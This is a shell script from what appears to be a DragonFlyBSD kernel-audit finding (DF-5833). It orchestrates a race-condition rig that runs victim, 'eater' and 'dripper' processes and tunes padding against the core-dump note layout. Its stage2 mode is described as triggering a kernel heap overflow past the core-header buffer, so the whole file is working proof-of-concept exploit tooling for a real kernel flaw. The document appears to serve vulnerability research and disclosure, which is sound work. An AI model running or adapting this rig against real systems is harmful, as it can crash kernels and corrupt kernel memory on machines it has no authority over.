⬢ DragonFlyBSD Kernel Audit
DF-5833 / controller.sh
← back to finding ↓ download raw
#!/bin/sh
# controller.sh -- DF-5833 rig orchestration (runs ON the guest, nohup'd).
#
# usage: controller.sh <stage> <attempts>
#   stage1: K=2 workers, pad tuned large  -> benign detection:
#           successful core with MORE NT_PRSTATUS notes than LWPs that
#           existed at DRYRUN time (proves in-window lwp_create insertion)
#   stage2: K=16 workers, pad tuned small -> putallnotes overflows the
#           reservation, elf_puttextvp vnh_max underflows (size_t), and
#           cb_put_fp writes vn_hdr records PAST the kmalloc'd core-header
#           buffer: kernel heap overflow.
#
DIR=/home/maxx/df5833
cd $DIR
STAGE=${1:-stage1}
ATT=${2:-1}
K=2; RESTARGET=2300; CAP=300; MODE=run; FM=4; EXTRA=0; SLEEP=600
[ "$STAGE" = ckpt2 ] && SLEEP=200
[ "$STAGE" = stage2 ] && { K=16; CAP=400; }
# ckpt stages: trigger via sys_checkpoint (no prelude -> DRYRUN is
# immediate; the rig's memory-floor prelude-crawl artifact disappears)
[ "$STAGE" = ckpt1 ] && { K=2;  CAP=300; MODE=ckpt; FM=4; EXTRA=80; }
[ "$STAGE" = ckpt2 ] && { K=16; CAP=460; MODE=ckpt; FM=0; EXTRA=80; }

# ---- probe: measure header layout with K=0 -------------------------------
rm -f victim.core gate marker ready
./victim probe $SLEEP $FM > probe.log 2>&1
sleep 1
if [ ! -f victim.core ]; then
    echo "PROBE-FAIL no core" >&2
    exit 1
fi
PROBE=$(./parse_core victim.core)
NOTE_OFF=$(echo "$PROBE" | sed -n 's/note_off=\([0-9]*\).*/\1/p')
NOTE_SZ=$(echo "$PROBE" | sed -n 's/.*note_sz=\([0-9]*\).*/\1/p')
NPR=$(echo "$PROBE" | sed -n 's/NT_PRSTATUS=\([0-9]*\).*/\1/p')
if [ -z "$NOTE_OFF" ] || [ -z "$NOTE_SZ" ]; then
    echo "PROBE-PARSE-FAIL" >&2; exit 1
fi
VN=$(dd if=victim.core bs=1 skip=$((NOTE_OFF+NOTE_SZ+96)) count=4 2>/dev/null | \
    od -An -tu4 | tr -d ' ')
C=$((VN*120))
OFF_END=$((NOTE_OFF + NOTE_SZ + 100 + C + 4320 + 40))
echo "probe: note_off=$NOTE_OFF note_sz=$NOTE_SZ prstatus=$NPR vn=$VN off_end=$OFF_END"

BASE=$((OFF_END + K*800 + EXTRA))
NPAD=0; BEST=-1
n=0
while [ $n -le 511 ]; do
    R=$(( (BASE + 56*n) % 4096 ))
    OK=0
    case "$STAGE" in
    stage1|ckpt1) [ $R -ge 300 ] && [ $R -le 2300 ] && OK=1 ;;
    *)            [ $R -ge 4000 ] && [ $R -le 4094 ] && OK=1 ;;
    esac
    if [ $OK = 1 ]; then NPAD=$n; BEST=$R; break; fi
    n=$((n+1))
done
if [ $BEST -lt 0 ]; then
    echo "PAD-TUNE-FAIL base_res=$((BASE%4096))" >&2; exit 1
fi
echo "tune: K=$K n_pad=$NPAD residue=$BEST (stage=$STAGE)"
rm -f victim.core

# ---- attempt loop ---------------------------------------------------------
a=0
while [ $a -lt $ATT ]; do
    a=$((a+1))
    rm -f victim.core ckpt.img victim.log ready fifo marker go
    # fresh one-shot eater per attempt: eat to the floor, then it is
    # purely in drip-serving mode (select loop, no re-eat phase)
    mkfifo fifo
    ( ./eater $RESTARGET ready marker < fifo > eater.log 2>&1 ) &
    EATERPID=$!
    exec 9>fifo
    ./victim $MODE $SLEEP $K $NPAD $FM ready $CAP > victim.log 2>&1 &
    VICPID=$!
    # pre-fork the dripper NOW (before any memory pressure): it waits
    # for the "ready" file, then drives the drip sequence
    ./dripper ready fifo > dripper.log 2>&1 &
    DRIPPID=$!
    # victim sets up threads, then waits for "ready"
    i=0; while [ $i -lt 200 ]; do
        grep -q VICTIM-SETUP victim.log 2>/dev/null && break
        sleep 0.1; i=$((i+1))
    done
    : > marker			# unleash the eater (victim threads exist)
    # wait for the eater to reach the floor (first attempt ~60-90s)
    i=0; while [ $i -lt 1500 ]; do
        [ -f ready ] && break
        sleep 0.1; i=$((i+1))
    done
    if [ ! -f ready ]; then
        echo "ATTEMPT $a: EATER-TIMEOUT"
        kill $VICPID $DRIPPID $EATERPID 2>/dev/null
        exec 9>&-
        sleep 2
        continue
    fi
    # victim releases workers, drains 600ms, crashes; dripper fires at
    # ~+1.3s; wait out the whole sequence
    MARK=VICTIM-CRASH
    [ "$MODE" = ckpt ] && MARK=CKPT-RESULT
    i=0; while [ $i -lt 2400 ]; do
        grep -q $MARK victim.log 2>/dev/null && break
        kill -0 $VICPID 2>/dev/null || break
        sleep 0.05; i=$((i+1))
    done
    WP=$(grep WORKERS-DRAINING victim.log | tail -1)
    echo "ATTEMPT $a: $WP"
    sleep 12
    IMG=victim.core
    [ "$MODE" = ckpt ] && IMG=ckpt.img
    CORESZ=0; [ -f $IMG ] && CORESZ=$(stat -f %z $IMG)
    ALIVE=$(kill -0 $VICPID 2>/dev/null && echo yes || echo no)
    echo "ATTEMPT $a RESULT: img=$CORESZ victim_alive=$ALIVE"
    grep CKPT-RESULT victim.log | tail -1
    dmesg | tail -4 > dmesg.$a.txt 2>/dev/null
    if [ "$ALIVE" = yes ]; then
        echo "ATTEMPT $a: victim still alive (dump stuck?) killing"
        kill -9 $VICPID 2>/dev/null
        sleep 2
    fi
    if [ -f $IMG ] && [ $CORESZ -gt 0 ]; then
        ./parse_core $IMG > core.$a.txt 2>&1
        NPR2=$(sed -n 's/NT_PRSTATUS=\([0-9]*\).*/\1/p' core.$a.txt)
        CH=$(echo "$WP" | sed -n 's/.*children=\([0-9]*\).*/\1/p')
        [ -z "$CH" ] && CH=0
        EXP=$((SLEEP + 1 + K + CH))
        echo "ATTEMPT $a: NT_PRSTATUS=$NPR2 expected=$EXP (race += $((${NPR2:-0}-EXP)))"
    else
        echo "ATTEMPT $a: NO CORE (dump failed or overflow path)"
    fi
    sleep 2
done
pkill -9 -f './victim' 2>/dev/null
pkill -9 -f './eater' 2>/dev/null
pkill -9 dripper 2>/dev/null
echo "CONTROLLER-DONE"